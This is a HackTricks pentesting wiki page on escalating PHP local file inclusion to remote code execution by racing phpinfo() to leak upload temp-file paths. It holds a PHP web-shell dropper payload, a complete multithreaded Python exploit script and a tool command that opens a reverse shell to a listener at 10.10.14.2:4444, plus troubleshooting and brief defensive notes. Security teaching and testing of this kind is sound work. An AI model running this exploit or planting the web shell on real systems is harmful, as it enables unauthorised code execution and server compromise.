lfi2rce-via-phpinfo.md (16955B)
1 --- 2 title: "LFI to RCE via PHPInfo" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # LFI to RCE via PHPInfo 14 15 To exploit this technique, you need all of the following: 16 17 - A reachable page that prints phpinfo() output. 18 - A Local File Inclusion (LFI) primitive you control (e.g., include/require on user input). 19 - PHP file uploads enabled (`file_uploads = On`). When the web server routes a valid multipart POST to PHP, PHP's RFC 1867 processing creates a temporary file for each accepted upload part before the script runs.<sup>[[2]](#references)</sup> 20 - The PHP worker must be able to write to the configured upload_tmp_dir (or default system temp directory) and your LFI must be able to include that path. 21 22 Classic write-up and original PoC: 23 - Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011) 24 - Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)<sup>[[1]](#references)</sup> 25 26 Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s<sup>[[9]](#references)</sup> 27 28 Notes about the original PoC 29 - The phpinfo() output is HTML-encoded, so the "=>" arrow often appears as "=>". If you reuse legacy scripts, ensure they search for both encodings when parsing the _FILES[tmp_name] value. 30 - You must adapt the payload (your PHP code), REQ1 (the request to the phpinfo() endpoint including padding), and LFIREQ (the request to your LFI sink). Some targets don’t need a null-byte (%00) terminator and modern PHP versions won’t honor it. Adjust the LFIREQ accordingly to the vulnerable sink. 31 - Prefer incremental parsing/regex over hard-coded offset math. Modern Python 3 wrappers usually stop as soon as `tmp_name` is complete, which is more robust than assuming a fixed offset or a fixed temp-path length. 32 33 Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow: 34 ```text 35 sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py 36 ``` 37 38 [Lfi With Phpinfo Assistance.Pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/LFI-With-PHPInfo-Assistance.pdf) 39 40 ## Theory 41 42 - When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES['<field>']['tmp_name']. The file is automatically removed at the end of the request unless moved/renamed.<sup>[[2]](#references)</sup> 43 - The trick is to learn the temporary name and include it via your LFI before PHP cleans it up. phpinfo() prints $_FILES, including tmp_name. 44 - By inflating request headers/parameters (padding) you can cause early chunks of phpinfo() output to be flushed to the client before the request finishes, so you can read tmp_name while the temp file still exists and then immediately hit the LFI with that path. 45 46 In Windows the temp files are commonly under something like C:\\Windows\\Temp\\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir. 47 48 ## What to verify in `phpinfo()` before racing 49 50 Before sending thousands of requests, extract the values that decide whether the race is realistic: 51 52 - `file_uploads`: must be `On`. 53 - `upload_tmp_dir`: if set, this is the directory your LFI must be able to include. If empty, expect the system default temp directory. 54 - `upload_max_filesize` and `post_max_size`: the file part plus the full multipart body (payload + MIME boundaries + extra POST fields) must stay below these limits. If the file part exceeds `upload_max_filesize`, expect upload errors or an empty `tmp_name`; if `post_max_size` is exceeded, PHP leaves `$_POST` and `$_FILES` empty, so there is nothing to leak. 55 - `max_file_uploads`: classic PoCs usually send one real payload file, but some variants add many junk file parts to bloat the response. If you exceed this limit, PHP silently drops later file parts and the upload you expect to race on may never appear in `$_FILES`. 56 - `max_input_time`: very low values can kill slow or heavily padded uploads before you win the race. 57 - `enable_post_data_reading`: if `Off`, PHP won’t populate `$_POST`/`$_FILES`, so phpinfo() can be reachable while `tmp_name` never appears.<sup>[[4]](#references)</sup> 58 - `open_basedir`: if enabled, your vulnerable include path still needs to be able to reach the temp directory shown in `tmp_name`. 59 - `output_buffering`: `4096` is a common/default size and is why many PoCs read in 4KB chunks, but this value can differ. 60 - `zlib.output_compression`, `output_handler`, and any framework-level buffering: these reduce the chance of seeing `tmp_name` early enough. 61 - `Server API`: useful to decide how much buffering may exist between PHP and you (`apache2handler` is usually easier to reason about than `fpm-fcgi` behind a reverse proxy). 62 63 If the page does not show `$_FILES`, make sure you are really sending a `multipart/form-data` request with an actual file part. PHP only populates `tmp_name` for upload fields that were parsed. Also verify the script is not calling `phpinfo()` with flags that omit `INFO_VARIABLES` (for example `phpinfo(INFO_MODULES)`), because that exposes phpinfo without dumping EGPCS/`$_FILES`.<sup>[[3]](#references)</sup> 64 65 ## Parsing edge cases in modern PHP 66 67 - PHP 8.1+ may also show `$_FILES['<field>']['full_path']`. That value is submitted by the browser and may describe a client-side path or directory upload; it is not the server temp file you must include. For this technique, always extract `tmp_name`. 68 - If the upload field name is an array (`f[]`) or the browser submits multiple/directory uploads, `tmp_name` can itself be an array. Old regexes that only expect `[tmp_name] => /tmp/phpXXXX` will miss cases like `[tmp_name] => Array ( [0] => /tmp/phpXXXX )`. Either force a single upload field or adapt the parser to grab the first populated array element. 69 - PHP 8.4 adds `request_parse_body()`, which can populate `$_POST`/`$_FILES` for `multipart/form-data` requests on verbs such as `PUT` or `PATCH`. The classic phpinfo() race is still usually a `POST`, but if a debug/helper endpoint explicitly calls `request_parse_body()` before `phpinfo()`, the same leak can exist on non-POST routes as well.<sup>[[6]](#references)</sup> 70 71 ## Attack workflow (step by step) 72 73 1) Prepare a tiny PHP payload that persists a shell quickly to avoid losing the race (writing a file is generally faster than waiting for a reverse shell): 74 ```text 75 <?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>'); 76 ``` 77 78 2) Send a large multipart POST directly to the phpinfo() page so it creates a temp file that contains your payload. Inflate various headers/cookies/params with ~5–10KB of padding to encourage early output. Make sure the form field name matches what you’ll parse in $_FILES. 79 80 3) While the phpinfo() response is still streaming, parse the partial body to extract $_FILES['<field>']['tmp_name'] (HTML-encoded). As soon as you have the full absolute path (e.g., /tmp/php3Fz9aB), fire your LFI to include that path. If the include() executes the temp file before it is deleted, your payload runs and drops /tmp/.p.php. 81 82 4) Use the dropped file: GET /vuln.php?include=/tmp/.p.php&x=id (or wherever your LFI lets you include it) to execute commands reliably. 83 84 > Tips 85 > - Use multiple concurrent workers to increase your chances of winning the race. 86 > - Padding placement that commonly helps: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Tune per target. 87 > - The temporary file does not need a `.php` extension because `include()` parses the included file as PHP. However, if the vulnerable sink **appends** `.php`, the exact temporary path no longer exists; you need a separate suffix-bypass primitive. Modern PHP does not accept `%00` as a generic path terminator. 88 89 ## Minimal Python 3 PoC (socket-based) 90 91 The snippet below focuses on the critical parts and is easier to adapt than the legacy Python2 script. Customize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD. 92 93 ```python 94 #!/usr/bin/env python3 95 import html 96 import re 97 import socket 98 import threading 99 from urllib.parse import quote 100 101 HOST = 'target.local' 102 PORT = 80 103 PHPSCRIPT = '/phpinfo.php' 104 LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path 105 THREADS = 10 106 107 PAYLOAD = ( 108 "<?php echo 'HT_RACE_OK'; " 109 "file_put_contents('/tmp/.p.php', '<?php system($_GET[\"x\"]); ?>'); ?>\r\n" 110 ) 111 BOUND = '---------------------------7dbff1ded0714' 112 PADDING = 'A' * 6000 113 REQ1_DATA = (f"--{BOUND}\r\n" 114 f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n" 115 f"Content-Type: text/plain\r\n\r\n{PAYLOAD}\r\n--{BOUND}--\r\n") 116 117 REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n" 118 f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n" 119 f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n" 120 f"Content-Type: multipart/form-data; boundary={BOUND}\r\n" 121 f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}") 122 123 pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)") 124 125 126 def race_once(): 127 s1 = socket.socket() 128 s2 = socket.socket() 129 s1.settimeout(5) 130 s2.settimeout(5) 131 try: 132 s1.connect((HOST, PORT)) 133 s2.connect((HOST, PORT)) 134 s1.sendall(REQ1.encode()) 135 buf = b'' 136 tmp = None 137 while len(buf) < 2_000_000: 138 chunk = s1.recv(4096) 139 if not chunk: 140 break 141 buf += chunk 142 decoded = html.unescape(buf.decode(errors='ignore')) 143 m = pat.search(decoded) 144 if m: 145 tmp = m.group(1) 146 break 147 if not tmp: 148 return False 149 150 lfi_path = LFIPATH % quote(tmp, safe='/') 151 req = (f"GET {lfi_path} HTTP/1.1\r\nHost: {HOST}\r\n" 152 "Connection: close\r\n\r\n") 153 s2.sendall(req.encode()) 154 response = b'' 155 while b'HT_RACE_OK' not in response and len(response) < 1_000_000: 156 chunk = s2.recv(4096) 157 if not chunk: 158 break 159 response += chunk 160 return b'HT_RACE_OK' in response 161 except (OSError, socket.timeout): 162 return False 163 finally: 164 s1.close() 165 s2.close() 166 167 if __name__ == '__main__': 168 hit = threading.Event() 169 170 def worker(): 171 while not hit.is_set(): 172 if not race_once(): 173 continue 174 print('[+] Won the race, payload dropped as /tmp/.p.php') 175 hit.set() 176 return 177 178 ts = [threading.Thread(target=worker) for _ in range(THREADS)] 179 [t.start() for t in ts] 180 [t.join() for t in ts] 181 ``` 182 183 ## Useful public tooling 184 185 If you want a ready-made wrapper instead of adapting the minimal PoC, a modern option is `lfito_rce`, which exposes knobs that are commonly needed in real targets (`--phpinfo`, `--threads`, `--end` for suffixes such as `%00`, and multiple payload styles). Treat these wrappers as starting points: check the regex against the raw phpinfo() response and update it if the target prints HTML-encoded arrows, array-style `tmp_name` values, or extra buffering/compression artifacts.<sup>[[8]](#references)</sup> 186 187 ```bash 188 python lfito_rce.py -l 'http://target/lfi.php?file=' -i 'http://target/phpinfo.php' --lhost 10.10.14.2 --lport 4444 -t 16 -e '' 189 ``` 190 191 ## Troubleshooting 192 - You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present and the page includes `INFO_VARIABLES`. If the script uses limited flags (for example `phpinfo(INFO_MODULES)`) or `enable_post_data_reading` is `Off`, `tmp_name` won’t appear. 193 - `$_FILES` turns empty as soon as you add more body padding: You likely exceeded `post_max_size`. Remember that the multipart body size includes boundaries and extra POST fields, not only the raw payload. 194 - The request parses but there is no usable temp file: Check `upload_max_filesize` and the upload error fields; an oversized file part can be rejected even if the overall body stayed below `post_max_size`. 195 - `tmp_name` appears only at the very end of the response: This is usually a buffering problem, not a PHP-version problem. Large `output_buffering` values, `zlib.output_compression`, userland output handlers, or reverse-proxy/FastCGI buffering can delay the phpinfo() body until the upload request is almost done. 196 - You only get reliable streaming in a lab, not through the real site: A CDN, WAF, or reverse proxy may be buffering the upstream response. If you have multiple routes to the same app, prefer the most direct origin path. 197 - The classic 4096-byte offset logic misses the leak: Treat 4096 as a starting point derived from common `output_buffering` defaults, not as a universal constant. Parse incrementally and stop as soon as `tmp_name` is complete. 198 - Your parser lands on `full_path` or `[tmp_name] => Array`: Ignore `full_path` (client-supplied metadata) and adapt the parser to extract the first real `tmp_name` value. 199 - The temp file is included but your shell dies immediately: Use a tiny stager that writes a second file, because the uploaded temp file will still be deleted when the original request ends. 200 - Output doesn’t flush early: Increase padding, add more large headers, or send multiple concurrent requests. Some SAPIs/buffers won’t flush until larger thresholds; adjust accordingly. 201 - LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector. 202 - Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI. 203 204 ## Practical notes for modern stacks 205 206 - This technique is still reproducible in modern lab environments; for example, Vulhub keeps a demonstrator on PHP 7.2. In practice, success tends to depend more on output buffering and proxying than on a phpinfo-specific patch level.<sup>[[7]](#references)</sup> 207 - `flush()` and `implicit_flush` only influence PHP's own output layer. They do not guarantee that a FastCGI gateway, reverse proxy, browser, or intermediary will release partial chunks immediately.<sup>[[5]](#references)</sup> 208 - Recent Python 3 wrappers are useful mostly because they parameterize temp directories/request endings and use incremental regex parsing instead of fixed offsets; the exploitation primitive is still the same phpinfo() race. 209 - If the target is `fpm-fcgi` behind Nginx/Apache proxying, think in layers: PHP buffer, PHP output handlers/compression, FastCGI buffering, then proxy buffering. The race only works if enough of the phpinfo() response escapes that chain before request shutdown deletes the temp file. 210 211 ## Defensive notes 212 - Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use. 213 - Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths. 214 - Treat any LFI as critical; even without phpinfo(), other LFI→RCE paths exist. 215 216 ## Related HackTricks techniques 217 218 [Lfi2Rce Via Temp File Uploads](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads) 219 220 [Via Php Session Upload Progress](/hacktricks/pentesting-web/file-inclusion/via-php-session-upload-progress) 221 222 [Lfi2Rce Via Nginx Temp Files](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files) 223 224 [Lfi2Rce Via Eternal Waiting](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting) 225 226 227 ## References 228 229 - [1] [LFI With PHPInfo() Assistance whitepaper (B. Moore, 2011) – Packet Storm mirror](https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf) 230 - [2] [PHP Manual – POST method uploads](https://www.php.net/manual/en/features.file-upload.post-method.php) 231 - [3] [PHP Manual – `phpinfo()` / `INFO_VARIABLES`](https://www.php.net/manual/en/function.phpinfo.php) 232 - [4] [PHP Manual – core `php.ini` directives (`post_max_size`, `enable_post_data_reading`)](https://www.php.net/manual/en/ini.core.php) 233 - [5] [PHP Manual – Flushing System Buffers](https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php) 234 - [6] [PHP Manual – `request_parse_body()`](https://www.php.net/manual/en/function.request-parse-body.php) 235 - [7] [Vulhub – PHP Local File Inclusion RCE with PHPINFO](https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md) 236 - [8] [roughiz – `lfito_rce`](https://github.com/roughiz/lfito_rce) 237 - [9] [HTB phpinfo() LFI race condition tutorial (YouTube)](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)